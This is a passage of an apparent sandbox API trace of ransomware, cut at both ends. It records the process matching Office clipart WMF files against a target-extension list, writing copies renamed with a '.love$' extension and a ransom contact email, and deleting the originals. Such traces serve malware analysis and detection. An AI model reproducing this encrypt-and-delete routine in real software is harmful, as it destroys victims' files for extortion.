(lpString=".7z") returned 3 [0275.225] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0275.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0275.225] lstrlenW (lpString=".dbf") returned 4 [0275.225] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0275.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0275.225] lstrlenW (lpString=".1cd") returned 4 [0275.225] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0275.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0275.225] lstrlenW (lpString=".jpg") returned 4 [0275.225] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0275.226] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0275.226] lstrlenW (lpString="J0105388.WMF") returned 12 [0275.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0275.228] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=8252) returned 1 [0275.228] CloseHandle (hObject=0x534) returned 1 [0275.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf")) returned 0x220 [0275.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0275.229] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.229] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0275.231] GetLastError () returned 0x0 [0275.231] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x203c, lpOverlapped=0x0) returned 1 [0275.572] WriteFile (in: hFile=0x4c8, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x2040, lpOverlapped=0x0) returned 1 [0275.574] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.574] WriteFile (in: hFile=0x4c8, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0275.574] SetEndOfFile (hFile=0x4c8) returned 1 [0276.848] CloseHandle (hObject=0x4c8) returned 1 [0276.996] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.996] SetEndOfFile (hFile=0x534) returned 1 [0277.047] CloseHandle (hObject=0x534) returned 1 [0277.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0277.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf")) returned 1 [0277.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0277.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0277.049] lstrlenW (lpString=".doc") returned 4 [0277.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.050] lstrlenW (lpString=".docx") returned 5 [0277.050] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0277.050] lstrlenW (lpString=".pdf") returned 4 [0277.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.050] lstrlenW (lpString=".xls") returned 4 [0277.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.050] lstrlenW (lpString=".xlsx") returned 5 [0277.050] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0277.050] lstrlenW (lpString=".ppt") returned 4 [0277.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0277.050] lstrlenW (lpString=".zip") returned 4 [0277.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.050] lstrlenW (lpString=".rar") returned 4 [0277.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.050] lstrlenW (lpString=".bz2") returned 4 [0277.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.050] lstrlenW (lpString=".7z") returned 3 [0277.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0277.050] lstrlenW (lpString=".dbf") returned 4 [0277.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0277.050] lstrlenW (lpString=".1cd") returned 4 [0277.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0277.051] lstrlenW (lpString=".jpg") returned 4 [0277.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0277.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0277.051] lstrlenW (lpString=".doc") returned 4 [0277.051] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.051] lstrlenW (lpString=".docx") returned 5 [0277.051] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0277.051] lstrlenW (lpString=".pdf") returned 4 [0277.051] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.051] lstrlenW (lpString=".xls") returned 4 [0277.051] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.051] lstrlenW (lpString=".xlsx") returned 5 [0277.051] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0277.051] lstrlenW (lpString=".ppt") returned 4 [0277.051] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0277.051] lstrlenW (lpString=".zip") returned 4 [0277.051] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.051] lstrlenW (lpString=".rar") returned 4 [0277.051] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.051] lstrlenW (lpString=".bz2") returned 4 [0277.051] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.052] lstrlenW (lpString=".7z") returned 3 [0277.052] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0277.052] lstrlenW (lpString=".dbf") returned 4 [0277.052] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0277.052] lstrlenW (lpString=".1cd") returned 4 [0277.052] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0277.052] lstrlenW (lpString=".jpg") returned 4 [0277.052] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.052] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0277.052] lstrlenW (lpString="J0105496.WMF") returned 12 [0277.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0277.053] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=5156) returned 1 [0277.054] CloseHandle (hObject=0x534) returned 1 [0277.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf")) returned 0x220 [0277.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0277.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0277.054] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.055] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0277.056] GetLastError () returned 0x0 [0277.056] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x1424, lpOverlapped=0x0) returned 1 [0277.100] WriteFile (in: hFile=0x4c8, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x1430, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x1430, lpOverlapped=0x0) returned 1 [0277.101] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.101] WriteFile (in: hFile=0x4c8, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0277.101] SetEndOfFile (hFile=0x4c8) returned 1 [0277.101] CloseHandle (hObject=0x4c8) returned 1 [0277.102] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.102] SetEndOfFile (hFile=0x534) returned 1 [0277.107] CloseHandle (hObject=0x534) returned 1 [0277.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0277.107] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf")) returned 1 [0277.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0277.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0277.109] lstrlenW (lpString=".doc") returned 4 [0277.109] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.109] lstrlenW (lpString=".docx") returned 5 [0277.109] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0277.109] lstrlenW (lpString=".pdf") returned 4 [0277.109] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.110] lstrlenW (lpString=".xls") returned 4 [0277.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.110] lstrlenW (lpString=".xlsx") returned 5 [0277.110] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0277.110] lstrlenW (lpString=".ppt") returned 4 [0277.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0277.110] lstrlenW (lpString=".zip") returned 4 [0277.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.110] lstrlenW (lpString=".rar") returned 4 [0277.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.110] lstrlenW (lpString=".bz2") returned 4 [0277.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.110] lstrlenW (lpString=".7z") returned 3 [0277.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0277.110] lstrlenW (lpString=".dbf") returned 4 [0277.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0277.110] lstrlenW (lpString=".1cd") returned 4 [0277.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0277.110] lstrlenW (lpString=".jpg") returned 4 [0277.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0277.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0277.110] lstrlenW (lpString=".doc") returned 4 [0277.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.111] lstrlenW (lpString=".docx") returned 5 [0277.111] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0277.111] lstrlenW (lpString=".pdf") returned 4 [0277.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.111] lstrlenW (lpString=".xls") returned 4 [0277.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.111] lstrlenW (lpString=".xlsx") returned 5 [0277.111] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0277.111] lstrlenW (lpString=".ppt") returned 4 [0277.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0277.111] lstrlenW (lpString=".zip") returned 4 [0277.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.111] lstrlenW (lpString=".rar") returned 4 [0277.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.111] lstrlenW (lpString=".bz2") returned 4 [0277.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.111] lstrlenW (lpString=".7z") returned 3 [0277.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0277.111] lstrlenW (lpString=".dbf") returned 4 [0277.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0277.111] lstrlenW (lpString=".1cd") returned 4 [0277.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0277.111] lstrlenW (lpString=".jpg") returned 4 [0277.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.112] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0277.112] lstrlenW (lpString="J0105504.WMF") returned 12 [0277.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0277.113] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=4148) returned 1 [0277.113] CloseHandle (hObject=0x534) returned 1 [0277.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf")) returned 0x220 [0277.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0277.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0277.114] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.114] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0277.116] GetLastError () returned 0x0 [0277.116] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x1034, lpOverlapped=0x0) returned 1 [0277.902] WriteFile (in: hFile=0x4c8, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x1040, lpOverlapped=0x0) returned 1 [0277.903] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.904] WriteFile (in: hFile=0x4c8, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0277.904] SetEndOfFile (hFile=0x4c8) returned 1 [0278.874] CloseHandle (hObject=0x4c8) returned 1 [0278.903] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.903] SetEndOfFile (hFile=0x534) returned 1 [0279.081] CloseHandle (hObject=0x534) returned 1 [0279.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0279.082] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf")) returned 1 [0279.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0279.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0279.084] lstrlenW (lpString=".doc") returned 4 [0279.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0279.084] lstrlenW (lpString=".docx") returned 5 [0279.084] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0279.084] lstrlenW (lpString=".pdf") returned 4 [0279.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0279.084] lstrlenW (lpString=".xls") returned 4 [0279.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0279.084] lstrlenW (lpString=".xlsx") returned 5 [0279.084] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0279.084] lstrlenW (lpString=".ppt") returned 4 [0279.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0279.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0279.084] lstrlenW (lpString=".zip") returned 4 [0279.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0279.084] lstrlenW (lpString=".rar") returned 4 [0279.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0279.084] lstrlenW (lpString=".bz2") returned 4 [0279.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0279.084] lstrlenW (lpString=".7z") returned 3 [0279.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0279.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0279.085] lstrlenW (lpString=".dbf") returned 4 [0279.085] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0279.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0279.085] lstrlenW (lpString=".1cd") returned 4 [0279.085] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0279.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0279.085] lstrlenW (lpString=".jpg") returned 4 [0279.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0279.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0279.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0279.085] lstrlenW (lpString=".doc") returned 4 [0279.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0279.085] lstrlenW (lpString=".docx") returned 5 [0279.085] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0279.085] lstrlenW (lpString=".pdf") returned 4 [0279.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0279.085] lstrlenW (lpString=".xls") returned 4 [0279.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0279.085] lstrlenW (lpString=".xlsx") returned 5 [0279.085] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0279.085] lstrlenW (lpString=".ppt") returned 4 [0279.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0279.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0279.085] lstrlenW (lpString=".zip") returned 4 [0279.085] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0279.085] lstrlenW (lpString=".rar") returned 4 [0279.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0279.086] lstrlenW (lpString=".bz2") returned 4 [0279.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0279.086] lstrlenW (lpString=".7z") returned 3 [0279.086] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0279.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0279.086] lstrlenW (lpString=".dbf") returned 4 [0279.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0279.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0279.086] lstrlenW (lpString=".1cd") returned 4 [0279.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0279.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0279.086] lstrlenW 